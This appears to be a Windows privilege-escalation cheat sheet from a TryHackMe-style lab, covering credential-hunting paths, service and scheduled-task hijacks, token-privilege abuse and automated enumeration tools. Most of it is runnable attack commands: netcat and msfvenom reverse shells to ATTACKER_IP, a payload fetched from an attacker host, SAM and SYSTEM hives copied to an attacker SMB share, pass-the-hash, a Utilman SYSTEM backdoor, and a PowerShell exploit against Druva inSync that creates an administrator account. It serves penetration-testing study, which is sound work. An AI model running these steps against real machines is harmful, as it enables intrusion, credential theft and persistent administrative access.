

Windows User Types:

Administrators: Full system access, can change any configuration, access any file

Standard Users: Limited tasks, restricted to their own files, cannot make permanent system changes

Built-in Accounts:

- **SYSTEM/LocalSystem:** Highest privileges, OS internal tasks, more powerful than admin
 - **Local Service:** Minimal privileges, anonymous network connections
 - **Network Service:** Minimal privileges, uses computer credentials for network auth
-

Credential Hunting Locations:

Unattended Windows Installations:

text

C:\Unattend.xml

C:\Windows\Panther\Unattend.xml

C:\Windows\Panther\Unattend\Unattend.xml

C:\Windows\system32\sysprep.inf

C:\Windows\system32\sysprep\sysprep.xml

PowerShell History:

cmd

type

%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

From PowerShell: type

\$Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Saved Windows Credentials:

cmd

cmdkey /list

runas /savecred /user:admin cmd.exe

IIS Configuration:

cmd

type C:\inetpub\wwwroot\web.config | findstr connectionString

```
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr
connectionString
```

PuTTY Proxy Credentials:

```
cmd
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
```

Scheduled Tasks Escalation:

List tasks:

```
cmd
schtasks /query /tn vulntask /fo list /v
```

Check file permissions:

```
cmd
icacls c:\tasks\schtask.bat
# Look for BUILTIN\Users having F (full access)
```

Modify task binary:

```
cmd
echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
```

Start listener on attacker: `nc -lvp 4444`

Run task manually:

```
cmd
schtasks /run /tn vulntask
```

AlwaysInstallElevated (Info only):

Check registry:

```
cmd
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
# Both must be set for exploitation
```

Generate malicious MSI:

```
bash
```

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f msi -o malicious.msi
```

Install:

```
cmd  
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
```

Service Escalation - Insecure Permissions on Service Executable:

Check service config:

```
cmd  
sc qc WindowsScheduler  
# Note BINARY_PATH_NAME and SERVICE_START_NAME
```

Check executable permissions:

```
cmd  
icacls C:\PROGRA~2\SYSTEM~1\WService.exe  
# Look for Everyone:(M) - modify permission
```

Generate payload:

```
bash  
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f  
exe-service -o rev-svc.exe
```

Transfer and replace:

```
powershell  
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe  
move WService.exe WService.exe.bkp  
move rev-svc.exe WService.exe  
icacls WService.exe /grant Everyone:F
```

Start listener on attacker: `nc -lvp 4445`

Restart service:

```
cmd  
sc stop windowsscheduler  
sc start windowsscheduler  
# Note: Use sc.exe in PowerShell
```

Service Escalation - Unquoted Service Paths:

Find unquoted service:

```
cmd
sc qc "disk sorter enterprise"
# Look for BINARY_PATH_NAME without quotes containing spaces
```

Check if path is writable:

```
cmd
icacls c:\MyPrograms
# Look for BUILTIN\Users having AD (add directory) and WD (write data)
```

Generate payload:

```
bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f
exe-service -o rev-svc2.exe
```

Place payload in hijack location:

```
cmd
move rev-svc2.exe C:\MyPrograms\Disk.exe
icacls C:\MyPrograms\Disk.exe /grant Everyone:F
```

Start listener: `nc -lvp 4446`

Restart service:

```
cmd
sc stop "disk sorter enterprise"
sc start "disk sorter enterprise"
```

Service Escalation - Insecure Service Permissions:

Check service DACL with AccessChk:

```
cmd
C:\tools\AccessChk\accesschk64.exe -qlc thmservice
# Look for BUILTIN\Users having SERVICE_ALL_ACCESS
```

Generate payload:

```
bash
```

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f  
exe-service -o rev-svc3.exe
```

Transfer and set permissions:

```
cmd  
icaccls rev-svc3.exe /grant Everyone:F
```

Reconfigure service:

```
cmd  
sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem  
# Note spaces after equal signs
```

Start listener: `nc -lvp 4447`

Restart service:

```
cmd  
sc stop THMService  
sc start THMService
```

Privilege Abuse - SeBackup / SeRestore:

Check privileges: `whoami /priv`

Backup SAM and SYSTEM hives:

```
cmd  
reg save hklm\system C:\Users\THMBackup\system.hive  
reg save hklm\sam C:\Users\THMBackup\sam.hive
```

Transfer files via SMB:

```
bash  
# On attacker  
mkdir share  
python3 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup  
-password CopyMaster555 public share
```

```
# On target  
copy sam.hive \\ATTACKER_IP\public\  
copy system.hive \\ATTACKER_IP\public\
```

Extract hashes:

```
bash
python3 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
```

Pass-the-Hash:

```
bash
python3 /opt/impacket/examples/psexec.py -hashes
aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94
administrator@MACHINE_IP
```

Privilege Abuse - SeTakeOwnership:

Check privileges: `whoami /priv`

Take ownership of file:

```
cmd
takeown /f C:\Windows\System32\Utilman.exe
```

Grant full permissions:

```
cmd
icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
```

Replace with cmd.exe:

```
cmd
copy cmd.exe utilman.exe
```

Lock screen and click "Ease of Access" button to get SYSTEM shell

Privilege Abuse - Selmpersonate / SeAssignPrimaryToken:

Check privileges: `whoami /priv`

RogueWinRM Exploit:

```
cmd
c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP
4442"
```

- Exploits BITS service connecting to port 5985 (WinRM)
- Takes ~2 minutes to work
- Requires Selmpersonate privileges

Start listener: `nc -lvp 4442`

Software Exploitation - Druva inSync 6.6.3:

Vulnerability: RPC server on port 6064 with SYSTEM privileges allows command execution

PowerShell Exploit:

```
powershell
$cmd = "net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add"
$s = New-Object
System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Stream,[System.Net.Sockets.ProtocolType]::Tcp)
$s.Connect("127.0.0.1", 6064)
$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command =
[System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\...\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);
$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)
```

Verify user created: `net user pwnd`

Run cmd as pwnd to access Administrator's desktop

Automated Enumeration Tools:

WinPEAS:

```
cmd
winpeas.exe > outputfile.txt
```

PrivescCheck (PowerShell):

```
powershell
Set-ExecutionPolicy Bypass -Scope process -Force
. .\PrivescCheck.ps1
Invoke-PrivescCheck
```

WES-NG (run on attacker):

```
bash
wes.py --update
# On target: systeminfo > systeminfo.txt
wes.py systeminfo.txt
```

Metasploit:

```
text
meterpreter > run post/multi/recon/local_exploit_suggester
```

Key Windows Commands Summary:

Command	Purpose
<code>whoami /priv</code>	List current user privileges
<code>whoami /groups</code>	List group memberships
<code>net user username</code>	Get user details
<code>net localgroup administrators</code>	List admin group members
<code>sc qc service</code>	Query service configuration
<code>sc config service binPath= "path" obj= account</code>	Reconfigure service
<code>icacls file</code>	Check file permissions
<code>icacls file /grant user:F</code>	Grant full control
<code>takeown /f file</code>	Take ownership of file
<code>reg query key</code>	Query registry
<code>schtasks /query /tn task /fo list /v</code>	List scheduled task details
<code>wmic product get name,version,vendor</code>	List installed software
<code>systeminfo</code>	System information (for WES-NG)